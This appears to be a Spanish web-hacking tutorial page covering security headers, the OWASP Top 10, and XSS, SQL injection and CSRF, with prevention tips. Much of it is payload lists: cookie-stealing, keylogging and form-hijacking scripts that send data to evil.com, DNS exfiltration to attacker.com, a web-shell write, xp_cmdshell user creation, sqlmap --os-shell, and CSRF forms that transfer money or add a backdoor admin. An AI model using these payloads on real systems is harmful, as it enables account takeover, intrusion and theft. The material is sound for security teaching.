<table data-card-size="large" data-view="cards"><thead><tr><th align="center"></th><th align="center"></th><th></th><th align="center"></th></tr></thead><tbody><tr><td align="center"><h4>🖼️ <strong>X-Frame-Options</strong></h4></td><td align="center"><mark style="color:$info;"><strong>Propósito:</strong> Prevenir el clickjacking controlado si la página puede ser enmarcada</mark></td><td><pre class="language-shellscript"><code class="lang-shellscript">DENY           # Nunca permitir enmarcado
SAMEORIGIN     # Solo el mismo origen
ALLOW-FROM url # URL específica (obsoleto)
</code></pre></td><td align="center"><mark style="color:$info;">La página puede ser enmarcada → ¡clickjacking posible!</mark></td></tr><tr><td align="center"><h4>🔒 <strong>HSTS</strong></h4></td><td align="center"><mark style="color:$info;"><strong>Propósito:</strong> Forzar HTTPS, prevenir ataques de SSL stripping</mark></td><td><pre class="language-shellscript"><code class="lang-shellscript">Strict-Transport-Security:
   max-age=31536000;
   includeSubDomains;
   preload
</code></pre></td><td align="center"><mark style="color:$info;">La primera petición es vulnerable a MITM</mark></td></tr><tr><td align="center"><h4>📄 <strong>X-Content-Type-Options</strong></h4></td><td align="center"><mark style="color:$info;"><strong>Propósito:</strong> Prevenir el MIME sniffing (tratar CSS como JavaScript)</mark></td><td><pre class="language-shellscript"><code class="lang-shellscript">X-Content-Type-Options: nosniff
</code></pre></td><td align="center"><mark style="color:$info;">El navegador podría ejecutar código no-script como script</mark></td></tr><tr><td align="center"><h4>🌐 <strong>CORS</strong></h4></td><td align="center"><mark style="color:$info;"><strong>Propósito:</strong> Permitir peticiones entre orígenes de forma controlada</mark></td><td><pre class="language-shellscript"><code class="lang-shellscript">Access-Control-Allow-Origin: * # ¡PELIGROSO con credenciales!
</code></pre></td><td align="center"><mark style="color:$info;">¿Mal configurado? Sitios arbitrarios pueden leer las respuestas</mark></td></tr></tbody></table>

<figure><img src="/files/YcEuzgSmZd4OtkaQ6Ojw" alt=""><figcaption></figcaption></figure>

## OWASP TOP 10: Las Vulnerabilidades Más Críticas

OWASP (Open Web Application Security Project) mantiene la lista definitiva de las vulnerabilidades web más peligrosas. Esta lista **se actualiza periódicamente con datos del mundo real**. Todo hacker web debe conocerlas de principio a fin — representan las vulnerabilidades más comunes e impacientes que encontrarás.

{% hint style="success" icon="lightbulb" %}

#### ¿Por qué importa el OWASP Top 10?

El OWASP Top 10 no es solo una lista — es un marco de referencia que impulsa toda la industria de la seguridad. Los informes de pentesting se organizan en torno a él. Las herramientas de seguridad escanean en busca de él. Los marcos de cumplimiento normativo lo referencian. Los programas de Bug Bounty lo priorizan. **Si entiendes en profundidad estas 10 categorías, entiendes la seguridad web**.
{% endhint %}

<table data-card-size="large" data-view="cards"><thead><tr><th align="center"></th><th align="center"></th><th></th><th align="center"></th><th data-hidden data-type="content-ref"></th></tr></thead><tbody><tr><td align="center"><h4>A01: Control de Acceso Roto </h4></td><td align="center"><mark style="color:$info;">La vulnerabilidad #1. Los usuarios pueden acceder a recursos que no deberían:</mark></td><td><ul><li><mark style="color:$info;"><strong>IDOR:</strong> Cambiar /user/123 por /user/124 muestra los datos de otro usuario</mark></li><li><mark style="color:$info;"><strong>Escalada de privilegios:</strong> Un usuario normal accede a funciones de administrador</mark></li><li><mark style="color:$info;"><strong>Directory traversal:</strong> .../../etc/paswd</mark></li><li><mark style="color:$info;">Control de acceso a nivel de función ausente</mark></li></ul></td><td align="center"><a href="https://owasp.org/Top10/2025/A01_2025-Broken_Access_Control/">Más Información</a></td><td><a href="https://owasp.org/Top10/2025/A01_2025-Broken_Access_Control/">https://owasp.org/Top10/2025/A01_2025-Broken_Access_Control/</a></td></tr><tr><td align="center"><h4>A02: Configuración Incorrecta de Seguridad</h4></td><td align="center"><mark style="color:$info;">Valores por defecto inseguros, configuraciones incompletas, errores detallados:</mark></td><td><ul><li><mark style="color:$info;">Contraseñas por defecto sin cambiar</mark></li><li><mark style="color:$info;">Funcionalidades innecesarias habilitadas</mark></li><li><mark style="color:$info;">Stack traces en mensajes de error</mark></li><li><mark style="color:$info;">Cabeceras de seguridad ausentes</mark></li><li><mark style="color:$info;">Listado de directorios habilitado</mark></li><li><mark style="color:$info;">Almacenamiento en la nuble accesible públicamente</mark></li></ul></td><td align="center"><a href="https://owasp.org/Top10/2025/A02_2025-Security_Misconfiguration/">Más Información</a></td><td><a href="https://owasp.org/Top10/2025/A02_2025-Security_Misconfiguration/">https://owasp.org/Top10/2025/A02_2025-Security_Misconfiguration/</a></td></tr><tr><td align="center"><h4>A03: Fallos en la Cadena de Suministro de Software </h4></td><td align="center"><mark style="color:$info;">Riesgos derivados de dependencias y componentes externos:</mark></td><td><ul><li><mark style="color:$info;">Librerías y frameworks desactualizados con vulnerabilidades conocidas</mark></li><li><mark style="color:$info;">Scripts de CDN sin verificación de integridad</mark></li><li><mark style="color:$info;">CMS sin parchear (WordPress, Drupal)</mark></li><li><mark style="color:$info;">Sin inventario de componentes</mark></li><li><mark style="color:$info;">Vulnerabilidades en Log4j, jQuery, Bootstrap</mark></li></ul></td><td align="center"><a href="https://owasp.org/Top10/2025/A03_2025-Software_Supply_Chain_Failures/">Más Información</a></td><td><a href="https://owasp.org/Top10/2025/A03_2025-Software_Supply_Chain_Failures/">https://owasp.org/Top10/2025/A03_2025-Software_Supply_Chain_Failures/</a></td></tr><tr><td align="center"><h4>A04: Fallos Criptográficos</h4></td><td align="center"><mark style="color:$info;">Datos sensibles expuestos por criptografía débil o ausente:</mark></td><td><ul><li><mark style="color:$info;">Contraseñas almacenadas en texto claro o con hashing débil (MD5)</mark></li><li><mark style="color:$info;">HTTP en lugar de HTTPS</mark></li><li><mark style="color:$info;">Algoritmos de cifrado débiles (DES, RC4)</mark></li><li><mark style="color:$info;">Claves de cifrado hardcodeadas</mark></li><li><mark style="color:$info;">Datos sensibles en parámetros de URL</mark></li></ul></td><td align="center"><a href="https://owasp.org/Top10/2025/A04_2025-Cryptographic_Failures/">Más Información</a></td><td><a href="https://owasp.org/Top10/2025/A04_2025-Cryptographic_Failures/">https://owasp.org/Top10/2025/A04_2025-Cryptographic_Failures/</a></td></tr><tr><td align="center"><h4>A05: Inyección</h4></td><td align="center"><mark style="color:$info;">Datos no confiables interpretados como comandos:</mark></td><td><ul><li><mark style="color:$info;">SQL Injection (SQLi)</mark></li><li><mark style="color:$info;">NoSQL Injection</mark></li><li><mark style="color:$info;">Inyección de comandos del SO</mark></li><li><mark style="color:$info;">LDAP Injection</mark></li><li><mark style="color:$info;">XPath Injection</mark></li><li><mark style="color:$info;">Template Injection (SSTI)</mark></li></ul></td><td align="center"><a href="https://owasp.org/Top10/2025/A05_2025-Injection/">Más Información</a></td><td><a href="https://owasp.org/Top10/2025/A05_2025-Injection/">https://owasp.org/Top10/2025/A05_2025-Injection/</a></td></tr><tr><td align="center"><h4>A06: Diseño Inseguro</h4></td><td align="center"><mark style="color:$info;">Fallos arquitectónicos que no pueden resolverse con código — requieren rediseño:</mark></td><td><ul><li><mark style="color:$info;">Rate limiting ausente en el restablecimiento de contraseña</mark></li><li><mark style="color:$info;">Preguntas de seguridad con respuestas públicas</mark></li><li><mark style="color:$info;">Confiar únicamente en la validación del lado del cliente</mark></li><li><mark style="color:$info;">Lógica de negocio defectuosa</mark></li></ul></td><td align="center"><a href="https://owasp.org/Top10/2025/A06_2025-Insecure_Design/">Más Información</a></td><td><a href="https://owasp.org/Top10/2025/A06_2025-Insecure_Design/">https://owasp.org/Top10/2025/A06_2025-Insecure_Design/</a></td></tr><tr><td align="center"><h4>A07: Fallos de Autenticación</h4></td><td align="center"><mark style="color:$info;">Autenticación y gestión de sesiones rotas:</mark></td><td><ul><li><mark style="color:$info;">Contraseñas débiles permitidas</mark></li><li><mark style="color:$info;">Vulnerable a credential stuffing</mark></li><li><mark style="color:$info;">Fijación de sesión</mark></li><li><mark style="color:$info;">Tokens de sesión en la URL</mark></li><li><mark style="color:$info;">MFA ausente</mark></li><li><mark style="color:$info;">Sesiones que no expiran</mark></li></ul></td><td align="center"><a href="https://owasp.org/Top10/2025/A07_2025-Authentication_Failures/">Más Información</a></td><td><a href="https://owasp.org/Top10/2025/A07_2025-Authentication_Failures/">https://owasp.org/Top10/2025/A07_2025-Authentication_Failures/</a></td></tr><tr><td align="center"><h4>A08: Fallos de Integridad del Software o los Datos</h4></td><td align="center"><mark style="color:$info;">Código de fuentes no confiables, actualizaciones inseguras:</mark></td><td><ul><li><mark style="color:$info;">Scripts de CDN sin verificación de integridad</mark></li><li><mark style="color:$info;">Pipelines CI/CD inseguros</mark></li><li><mark style="color:$info;">Actualizaciones automáticas sin verificación</mark></li><li><mark style="color:$info;">Vulnerabilidades de deserialización</mark></li></ul></td><td align="center"><a href="https://owasp.org/Top10/2025/A08_2025-Software_or_Data_Integrity_Failures/">Más Información</a></td><td><a href="https://owasp.org/Top10/2025/A08_2025-Software_or_Data_Integrity_Failures/">https://owasp.org/Top10/2025/A08_2025-Software_or_Data_Integrity_Failures/</a></td></tr><tr><td align="center"><h4>A09: Fallos de Registro y Alertas de Seguridad</h4></td><td align="center"><mark style="color:$info;">Registro y monitorización insuficientes:</mark></td><td><ul><li><mark style="color:$info;">Fallos de inicio de sesión no registrados</mark></li><li><mark style="color:$info;">Sin alertas ante ataques</mark></li><li><mark style="color:$info;">Logs almacenados solo localmente</mark></li><li><mark style="color:$info;">Datos sensibles en los logs</mark></li><li><mark style="color:$info;">Sin protección de integridad de los logs</mark></li></ul></td><td align="center"><a href="https://owasp.org/Top10/2025/A09_2025-Security_Logging_and_Alerting_Failures/">Más Información</a></td><td><a href="https://owasp.org/Top10/2025/A09_2025-Security_Logging_and_Alerting_Failures/">https://owasp.org/Top10/2025/A09_2025-Security_Logging_and_Alerting_Failures/</a></td></tr><tr><td align="center"><h4>A10: Gestión Incorrecta de Condiciones Excepcionales</h4></td><td align="center"><mark style="color:$info;">Manejo inadecuado de errores y situaciones inesperadas:</mark></td><td><ul><li><mark style="color:$info;">Mensajes de error que revelan información sensible del sistema</mark></li><li><mark style="color:$info;">Excepciones no capturadas que provocan fallos en la aplicación</mark></li><li><mark style="color:$info;">Comportamiento inconsistente ante entradas inesperadas</mark></li><li><mark style="color:$info;">Stack traces expuestos en producción</mark></li><li><mark style="color:$info;">Fallos en cascada por ausencia de manejo defensivo de errores</mark></li></ul></td><td align="center"><a href="https://owasp.org/Top10/2025/A10_2025-Mishandling_of_Exceptional_Conditions/">Más Información</a></td><td><a href="https://owasp.org/Top10/2025/A10_2025-Mishandling_of_Exceptional_Conditions/">https://owasp.org/Top10/2025/A10_2025-Mishandling_of_Exceptional_Conditions/</a></td></tr></tbody></table>

{% hint style="warning" %}

#### Más allá del Top 10

El OWASP Top 10 es un punto de partida, no una lista completa. Otras vulnerabilidades críticas que no aparecen en la edición 2025 incluyen:

* <mark style="color:$info;">**XML External Entity (XXE):**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Parseo de XML que referencia entidades externas</mark>
* <mark style="color:$info;">**IDOR (Insecure Direct Object Reference):**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Acceso directo a objetos mediante entrada del usuario — aunque relacionado con A01:2025, merece atención propia</mark>
* <mark style="color:$info;">**Fallos de Lógica de Negocio:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Abuso de funcionalidades legítimas</mark>
* <mark style="color:$info;">**Race Conditions:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Explotación de ventanas de tiempo</mark>
* <mark style="color:$info;">**HTTP Request Smuggling:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Bypass de seguridad mediante peticiones malformadas</mark>
* <mark style="color:$info;">**SSRF (Server-Side Request Forgery):**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">El servidor realiza peticiones en nombre del atacante — presente en ediciones anteriores y sigue siendo muy prevalente</mark>
  {% endhint %}

<figure><img src="/files/YcEuzgSmZd4OtkaQ6Ojw" alt=""><figcaption></figcaption></figure>

## Cross-Site Scripting (XSS)

XSS permite a los atacantes inyectar JavaScript malicioso en páginas web vistas por otros usuarios. Es una de las vulnerabilidades **más comunes y peligrosas** — y una de las más entretenidas de explotar. Cuando encuentras XSS, puedes hacer que el navegador de la víctima haga casi cualquier cosa que ella misma podría hacer.

<details>

<summary>📺 La Metáfora de la Emisión de TV Secuestrada (click aquí)</summary>

Imagina una cadena de televisión (el sitio web) que emite contenido enviado por los espectadores sin revisarlo. Un atacante envía un vídeo que dice "¡Manda tu contraseña bancaria a esta dirección!" y se emite a millones de espectadores. **Eso es XSS** — inyectar tu contenido en una fuente de confianza para que las víctimas lo crean y lo ejecuten.

</details>

***

### Tipos de XSS

<table data-card-size="large" data-view="cards"><thead><tr><th align="center"></th><th align="center"></th><th></th></tr></thead><tbody><tr><td align="center"><h4><strong>🔄 Reflected XSS</strong></h4></td><td align="center"><mark style="color:$info;">El payload está en la petición y se refleja inmediatamente en la respuesta. La víctima debe hacer clic en un enlace malicioso. No persistente</mark></td><td><pre class="language-shellscript"><code class="lang-shellscript"># URL vulnerable: /search?q=&#x3C;script>alert(1)&#x3C;/script>

# La página muestra: "Resultados para \<script>alert(1)\</script>"

# Ataque: envía a la víctima este enlace:

[https://shop.com/search?q=\&#x3C;script>](https://shop.com/search?q=\&#x3C;script>)
document.location='<https://evil.com/robar?c=>'
+document.cookie\</script> </code></pre></td></tr><tr><td align="center"><h4><strong>💾 Stored XSS</strong></h4></td><td align="center"><mark style="color:$info;">El payload se guarda en la base de datos y se sirve a TODOS los usuarios que visitan esa página. Persistente y más peligroso. Comentarios, perfiles, mensajes</mark></td><td><pre class="language-shellscript"><code class="lang-shellscript"># El atacante publica un comentario:
"¡Gran artículo! \<script>
fetch('<https://evil.com/robar?c=>'
+document.cookie)
\</script>"

# Cada visitante de la página:

* Recibe el script ejecutado
* Cookies enviadas al atacante
* ¡Sesión secuestrada! </code></pre></td></tr><tr><td align="center"><h4><strong>🔧 DOM-based XSS</strong></h4></td><td align="center"><mark style="color:$info;">El payload nunca llega al servidor — el JS del lado del cliente procesa la entrada del atacante de forma insegura. Más difícil de detectar porque los logs del servidor no muestran nada sospechoso</mark></td><td><pre class="language-shellscript"><code class="lang-shellscript"># JavaScript vulnerable:
  document.write(location.hash)
  document.getElementById('x').innerHTML = url

# Ataque:

page.html#\<img src=x onerror=alert(1)>

# Fuentes: location.hash, location.search

# Sinks:   innerHTML, document.write, eval

</code></pre></td></tr></tbody></table>

***

### Payloads XSS - De Básico a Avanzado

```shellscript
# ==================== DETECCIÓN BÁSICA ====================

<script>alert('XSS')</script>           # Clásico
<script>alert(document.domain)</script>  # Prueba en qué dominio estás
<script>alert(document.cookie)</script>  # Muestra las cookies

# ==================== BASADO EN ETIQUETAS (cuando <script> está filtrado) ====================

<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<svg/onload=alert(1)>                    # Sin espacio necesario
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
<details open ontoggle=alert(1)>
<iframe src="javascript:alert(1)">
<object data="javascript:alert(1)">

# ==================== VARIACIONES CON MANEJADORES DE EVENTOS ====================

<div onmouseover=alert(1)>Pásame el ratón</div>
<div onclick=alert(1)>Haz clic</div>
<div onmouseenter=alert(1)>x</div>
<body onpageshow=alert(1)>
<body onresize=alert(1)> (redimensiona la ventana)

# ==================== BYPASS DE FILTROS ====================

# Variación de mayúsculas/minúsculas
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x ONERROR=alert(1)>

# Caracteres codificados
<script>alert(String.fromCharCode(88,83,83))</script>  # "XSS"
<img src=x onerror=alert(1)>                           # Entidades HTML
<img src=x onerror=\u0061lert(1)>                      # Unicode

# Escapar de atributos
" onmouseover="alert(1)
' onfocus='alert(1)' autofocus='

# Codificación doble/anidada
%253Cscript%253Ealert(1)%253C/script%253E

# Protocolo JavaScript
<a href="javascript:alert(1)">clic</a>
<a href="JaVaScRiPt:alert(1)">clic</a>

# URI de datos
<a href="data:text/html,<script>alert(1)</script>">clic</a>

# SVG con script embebido
<svg><script>alert(1)</script></svg>

# Template literals (ES6)
<script>alert`1`</script>

# ==================== ROBO DE COOKIES ====================

<script>
new Image().src="https://evil.com/robar?c="+document.cookie;
</script>

<script>
fetch('https://evil.com/robar?c='+document.cookie);
</script>

<img src=x onerror="this.src='https://evil.com/robar?c='+document.cookie">

# ==================== KEYLOGGER ====================

<script>
document.onkeypress=function(e){
  new Image().src="https://evil.com/log?k="+e.key;
}
</script>

# ==================== SECUESTRO DE FORMULARIOS ====================

<script>
document.forms[0].action='https://evil.com/phishing';
</script>

# ==================== DEFACEMENT ====================

<script>
document.body.innerHTML='<h1>Hackeado mediante XSS</h1>';
</script>

# ==================== BEEFHOOK (Avanzado) ====================

<script src="https://evil.com/ho
```

***

### Contextos XSS y Técnicas de Escape

```shellscript
Contextos XSS y Técnicas de Escape

# ==================== CONTEXTO HTML ====================
# Tu entrada aparece en el cuerpo HTML
<p>Hola ENTRADA_USUARIO</p>
# Payload: <script>alert(1)</script>

# ==================== CONTEXTO DE ATRIBUTO ====================
# Tu entrada está dentro de un atributo HTML
<input value="ENTRADA_USUARIO">
# Payload: " onmouseover="alert(1)
# Resultado: <input value="" onmouseover="alert(1)">

# Comillas simples:
<input value='ENTRADA_USUARIO'>
# Payload: ' onfocus='alert(1)' autofocus='

# ==================== CONTEXTO JAVASCRIPT ====================
# Tu entrada está dentro de un bloque script
<script>var x = 'ENTRADA_USUARIO';</script>
# Payload: ';alert(1);//
# Resultado: <script>var x = '';alert(1);//';</script>

# ==================== CONTEXTO URL ====================
<a href="ENTRADA_USUARIO">
# Payload: javascript:alert(1)

# ==================== CONTEXTO CSS ====================
<style>body { background: ENTRADA_USUARIO }</style>
# Payload: red;} </style><script>alert(1)</script>e
```

{% hint style="warning" icon="circle-radiation" %}

#### Prevención de XSS

Al hacer pruebas, obtén siempre permiso. Al defenderse:

* <mark style="color:$info;">**Codificación de salida:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Convierte caracteres peligrosos en texto inofensivo.</mark> `<script>` <mark style="color:$info;">se convierte en</mark> `&lt;script&gt;`<mark style="color:$info;">: el navegador lo muestra como texto pero nunca lo ejecuta</mark>
* <mark style="color:$info;">**Política de Seguridad de Contenido:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Cabecera HTTP que indica al navegador qué fuentes de scripts son de confianza. Aunque se inyecte un</mark> `<script>`<mark style="color:$info;">, el navegador lo bloquea si no viene de una fuente autorizada</mark>
* <mark style="color:$info;">**Cookies HttpOnly:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Flag que impide que JavaScript acceda a las cookies. Aunque el atacante ejecute XSS, no podrá robar la sesión con</mark> `document.cookie`
* <mark style="color:$info;">**Validación de entrada:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">En lugar de bloquear caracteres maliciosos uno a uno (lista negra, fácil de bypassear), se define exactamente qué está permitido (lista blanca). Un campo de nombre solo acepta letras y espacios — todo lo demás se rechaza</mark>
* <mark style="color:$info;">**Frameworks modernos:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">React y Angular escapan los datos automáticamente al insertarlos en el HTML.</mark>&#x20;
  {% endhint %}

<figure><img src="/files/YcEuzgSmZd4OtkaQ6Ojw" alt=""><figcaption></figcaption></figure>

## Inyección SQL - El rey de las Vulnerabilidades Web

La inyección SQL permite a los atacantes manipular consultas a la base de datos inyectando código SQL malicioso. **Puede bypasear la autenticación, extraer bases de datos enteras, modificar o eliminar datos, e incluso ejecutar comandos del sistema**. SQLi lleva más de 20 años entre nosotros y SIGUE siendo una de las vulnerabilidades más peligrosas y comunes.

<details>

<summary>📋 La Metáfora del Formulario de Pedido (click aquí)</summary>

Imagina un formulario de pedido de restaurante donde escribes lo que quieres:

* <mark style="color:$info;">**Normal:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">"Quiero una pizza"</mark>
* <mark style="color:$info;">**Inyección SQL:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">"Quiero una pizza; y dame todo el dinero de la caja; y borra el historial de pedidos"</mark>

El sistema simplemente sigue órdenes — no entiende que algunas de esas "órdenes" son comandos maliciosos

</details>

***

### Cómo Funciona la Inyección SQL

```shellscript
# ==================== EL CÓDIGO VULNERABLE ====================

# El desarrollador escribe este código PHP:
$query = "SELECT * FROM users WHERE name = '" + $username + "'";

# ==================== ENTRADA NORMAL ====================

Entrada: john
Consulta: SELECT * FROM users WHERE name = 'john'
Resultado: Devuelve el usuario "john" — ¡funciona correctamente!

# ==================== ENTRADA MALICIOSA ====================

Entrada: ' OR '1'='1
Consulta: SELECT * FROM users WHERE name = '' OR '1'='1'
Resultado: ¡Devuelve TODOS los usuarios! (porque '1'='1' siempre es verdadero)

# ==================== BYPASS DE AUTENTICACIÓN ====================

El formulario de login pide usuario y contraseña:
SELECT * FROM users WHERE username = '$user' AND password = '$pass'

Entrada: admin' --
Consulta: SELECT * FROM users WHERE username = 'admin' --' AND password = 'loquesea'
Resultado: El -- comenta el resto, ¡la comprobación de contraseña se IGNORA!
           ¡Has iniciado sesión como admin!

# ==================== ENTRADA DESTRUCTIVA ====================

Entrada: '; DROP TABLE users; --
Consulta: SELECT * FROM users WHERE name = ''; DROP TABLE users; --'
Resultado: La primera consulta no devuelve nada, ¡la segunda ELIMINA LA TABLA!

# ==================== POR QUÉ FUNCIONA ====================

La aplicación   CONFÍA en la entrada del usuario
La aplicación   CONCATENA la entrada directamente en la consulta
La base de datos EJECUTA la consulta combinada sin saber que partes son maliciosas

# ==================== LA SOLUCIÓN: CONSULTAS PARAMETRIZADAS ====================

# En lugar de concatenación de cadenas:
$stmt = $pdo->prepare("SELECT * FROM users WHERE name = ?");
$stmt->execute([$username]);

# ¡Ahora la entrada SIEMPRE se trata como datos, nunca como código!
```

***

### Tipos de Inyección SQL

<table data-card-size="large" data-view="cards"><thead><tr><th align="center"></th><th align="center"></th><th></th></tr></thead><tbody><tr><td align="center"><h4>📊 In-Band SQLi (Clásica)</h4></td><td align="center"><mark style="color:$info;">Los resultados aparecen directamente en la página. La más fácil de explotar</mark></td><td><pre class="language-shellscript"><code class="lang-shellscript"># Basada en UNION: combina resultados
' UNION SELECT username,password FROM users--

# Basada en errores: fuerza errores que revelan datos

' AND 1=CONVERT(int,@@version)-- </code></pre></td></tr><tr><td align="center"><h4>🔍 Blind SQLi (Booleana)</h4></td><td align="center"><mark style="color:$info;">No se muestran datos, pero la página se comporta de forma diferente según verdadero/falso. Extracción de datos lenta</mark></td><td><pre class="language-shellscript"><code class="lang-shellscript"># Si el primer carácter de la contraseña = 'a'
' AND SUBSTRING(password,1,1)='a'--

# ¿La página cambia? ¡Hemos adivinado correctamente!

</code></pre></td></tr><tr><td align="center"><h4>⏱️ Blind SQLi (Basada en Tiempo)</h4></td><td align="center"><mark style="color:$info;">Usa</mark> <code>SLEEP()</code> <mark style="color:$info;">— si la página tarda, la condición era verdaera. La más lenta, pero funciona cuando todo lo demás falla</mark></td><td><pre class="language-shellscript"><code class="lang-shellscript"># Si la condición es verdadera, espera 5 segundos
' OR IF(1=1,SLEEP(5),0)--

# ¡Un retraso de 5 segundos = condición verdadera!

</code></pre></td></tr><tr><td align="center"><h4>📡 Out-of-Band SQLi</h4></td><td align="center"><mark style="color:$info;">Exfiltra datos mediante peticiones DNS o HTTP al servidor del atacante. Cuando los demás métodos fallan</mark></td><td><pre class="language-shellscript"><code class="lang-shellscript"># MySQL - exfiltración DNS
' UNION SELECT LOAD\_FILE(
CONCAT('\\\\',password,'.attacker.com\a')
) FROM users-- </code></pre></td></tr></tbody></table>

***

### Referencia de Payloads SQLi

```shellscript
# ==================== PAYLOADS DE DETECCIÓN ====================

'                       # Comilla simple — provoca error si es vulnerable
''                      # Dos comillas — NO debería provocar error
' OR '1'='1             # Siempre verdadero
' OR '1'='2             # Siempre falso (comparar respuesta)
' AND '1'='1            # Condición verdadera
' AND '1'='2            # Condición falsa
1 OR 1=1                # Contexto numérico
1 AND 1=2               # Numérico falso

# ==================== BYPASS DE AUTENTICACIÓN ====================

admin' --
admin' #                                # Comentario MySQL
admin'/*                                # Comentario multilínea
' OR 1=1--
' OR 'x'='x
') OR ('1'='1
' OR ''='
' OR 1=1#

# ==================== EXTRACCIÓN DE DATOS CON UNION ====================

# Paso 1: Encontrar el número de columnas
' ORDER BY 1--          # Funciona
' ORDER BY 2--          # Funciona
' ORDER BY 3--          # ¡Error! Hay 2 columnas

# Método alternativo:
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--         # ¡Este funciona!

# Paso 2: Encontrar columnas visibles
' UNION SELECT 'a',NULL,NULL--          # Ver qué columna muestra 'a'

# Paso 3: Extraer datos
' UNION SELECT username,password,NULL FROM users--

# ==================== ENUMERACIÓN DE LA BASE DE DATOS ====================

# MySQL
' UNION SELECT @@version,NULL--                     # Versión
' UNION SELECT database(),NULL--                    # BD actual
' UNION SELECT user(),NULL--                        # Usuario actual
' UNION SELECT table_name,NULL FROM information_schema.tables--
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'--

# PostgreSQL
' UNION SELECT version(),NULL--
' UNION SELECT current_database(),NULL--
' UNION SELECT table_name,NULL FROM information_schema.tables--

# MSSQL
' UNION SELECT @@version,NULL--
' UNION SELECT DB_NAME(),NULL--
' UNION SELECT name,NULL FROM sysdatabases--

# Oracle
' UNION SELECT banner,NULL FROM v$version--
' UNION SELECT table_name,NULL FROM all_tables--

# ==================== BLIND BASADA EN TIEMPO ====================

# MySQL
' OR SLEEP(5)--
' OR IF(1=1,SLEEP(5),0)--
' OR IF(SUBSTRING(user(),1,1)='r',SLEEP(5),0)--

# PostgreSQL
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--

# MSSQL
'; WAITFOR DELAY '0:0:5'--
'; IF (1=1) WAITFOR DELAY '0:0:5'--

# ==================== ACCESO A FICHEROS (MySQL) ====================

' UNION SELECT LOAD_FILE('/etc/passwd'),NULL--
' UNION SELECT "",NULL INTO OUTFILE '/var/www/shell.php'--

# ==================== EJECUCIÓN DE COMANDOS ====================

# MSSQL (si xp_cmdshell está habilitado)
'; EXEC xp_cmdshell 'whoami'--
'; EXEC xp_cmdshell 'net user hacker pass123 /add'--

# Habilitar xp_cmdshell
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE--
```

{% hint style="success" icon="screwdriver-wrench" %}

## SQLMap — Herramienta Automatizada de SQLi

SQLMap automatiza la detección y explotación de inyección SQL:

{% code overflow="wrap" %}

```bash
# Prueba básica
sqlmap -u "http://objetivo.com/pagina?id=1"

# Con datos POST
sqlmap -u "http://objetivo.com/login" --data="user=admin&pass=test"

# Volcar la base de datos
sqlmap -u "http://objetivo.com/pagina?id=1" --dbs              # Listar bases de datos
sqlmap -u "http://objetivo.com/pagina?id=1" -D bdnombre --tables  # Listar tablas
sqlmap -u "http://objetivo.com/pagina?id=1" -D bdnombre -T users --dump  # Volcar tabla

# Obtener shell
sqlmap -u "http://objetivo.com/pagina?id=1" --os-shell
```

{% endcode %}
{% endhint %}

<figure><img src="/files/YcEuzgSmZd4OtkaQ6Ojw" alt=""><figcaption></figcaption></figure>

## Cross-Site Request Forgery (CSRF)

CSRF engaña a las víctimas para que realicen acciones que no pretendían, explotando la inclusión automática de cookies del navegador en peticiones entre orígenes. **Si estás autenticado en tu banco y visitas una página maliciosa, esa página puede transferir dinero de tu cuenta sin que lo sepas**.

<details>

<summary>✉️ La Metáfora de la Carta Falsificada (click aquí)</summary>

Imagina que eres un rey que confía en cualquier carta que lleve tu sello real. CSRF es como alguien que te engaña para que estampes tu sello en un papel en blanco, y luego escribe las órdenes que quiera encima de tu firma. El reino (el sitio web) ve tu sello y sigue las órdenes, sin saber que en realidad no venían de ti.

</details>

***

### Cómo funciona CSRF

```shellscript
# ==================== EL ESCENARIO DEL ATAQUE ====================

1. La víctima inicia sesión en bank.com
   - El navegador almacena la cookie de sesión: session=abc123xyz

2. La víctima (aún autenticada) visita evil.com

3. evil.com contiene código de ataque oculto:
   <img src="https://bank.com/transfer?to=atacante&amount=10000">

4. Lo que ocurre:
   - El navegador hace una petición GET a bank.com
   - ¡El navegador incluye AUTOMÁTICAMENTE las cookies de bank.com!
   - El banco ve una petición autenticada de la víctima
   - El banco cree que la víctima quiere transferir dinero
   - 10.000 € van a parar al atacante

# ==================== POR QUÉ FUNCIONA ====================

- La Política del Mismo Origen impide que evil.com LEA las respuestas de bank.com
- Pero la SOP NO impide que evil.com ENVÍE peticiones a bank.com
- Las cookies se incluyen automáticamente en cualquier petición a su dominio
- El banco no puede distinguir entre peticiones legítimas y falsificadas

# ==================== MÁS PELIGROSO: PETICIONES POST ====================

<form action="https://bank.com/transfer" method="POST" id="csrf-form">
  <input type="hidden" name="to" value="cuenta_atacante">
  <input type="hidden" name="amount" value="10000">
</form>
<script>
  document.getElementById('csrf-form').submit();
</script>

# ¡La víctima visita evil.com → el formulario se envía automáticamente → dinero transferido!

# ==================== EJEMPLOS DEL MUNDO REAL ====================

# Cambiar email (para tomar control de la cuenta)
<form action="https://objetivo.com/settings/email" method="POST">
  <input name="email" value="atacante@evil.com">
</form>

# Cambiar contraseña
<form action="https://objetivo.com/settings/password" method="POST">
  <input name="new_password" value="hackeado123">
  <input name="confirm_password" value="hackeado123">
</form>

# Añadir usuario administrador
<form action="https://admin.objetivo.com/users/create" method="POST">
  <input name="username" value="backdoor">
  <input name="role" value="admin">
</form>

# Eliminar cuenta
<form action="https://objetivo.com/account/delete" method="POST">
  <input name="confirm" value="yes">
</form>
```

***

### Variantes de Ataques CSRF

